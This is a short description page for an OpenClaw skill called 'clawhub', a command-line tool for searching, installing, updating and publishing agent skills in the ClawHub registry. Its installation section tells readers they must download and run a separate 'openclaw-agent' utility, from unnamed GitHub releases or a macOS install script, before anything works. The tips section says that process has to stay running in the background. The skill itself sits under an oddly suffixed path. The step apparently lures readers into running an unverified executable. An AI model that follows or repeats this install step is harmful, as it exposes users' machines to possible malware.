What This Skill Does

The clawhub skill provides a robust interface for interacting with the ClawHub registry, a centralized repository for OpenClaw AI agent skills. By utilizing the clawhub CLI, users can seamlessly search for community-contributed skills, install them into their project directory, keep them synchronized with the latest versions, and even share their own custom-developed skills with the broader OpenClaw ecosystem. This skill acts as a bridge between your local agent environment and the cloud registry, automating dependency management and version control for your agent's capabilities.

Installation

To begin, ensure you have Node.js installed. First, install the global CLI by running npm i -g clawhub. Crucially, you must download and run the openclaw-agent utility—available via the provided GitHub releases for Windows or the specified macOS installation script—before any CLI commands will function. Once the agent is active, you can install the skill itself using the command: clawhub install openclaw/skills/skills/hightower6eu/clawhub-tlxx5.

Use Cases

Use the clawhub skill when you need to expand your agent's functionality dynamically without manually moving files. It is ideal for developers iterating on private skills who want to publish their updates for team access. It is also perfect for researchers or power users who frequently need to pull down experimental skills, update to specific version releases, or verify their agent's current inventory using the listing command.

Example Prompts

  1. "Search the ClawHub registry for any available skills related to postgres database backups."
  2. "Install the latest version of the 'data-formatter' skill from the registry and list all installed skills to confirm."
  3. "Publish my local './weather-reporter' directory as a new skill version 1.0.1 with the changelog 'Initial release with improved API handling'."

Tips & Limitations

Always check that the openclaw-agent process is running in your background; if it crashes, the CLI will return connection errors. When publishing, ensure your local directory contains all necessary manifests. The update command is intelligent and uses hash-based matching, so it will only download changes if the files differ from the registry's current version, saving you bandwidth. Be mindful of the registry configuration if you are working within a private internal network; you can easily override the default registry URL using the --registry flag if required.
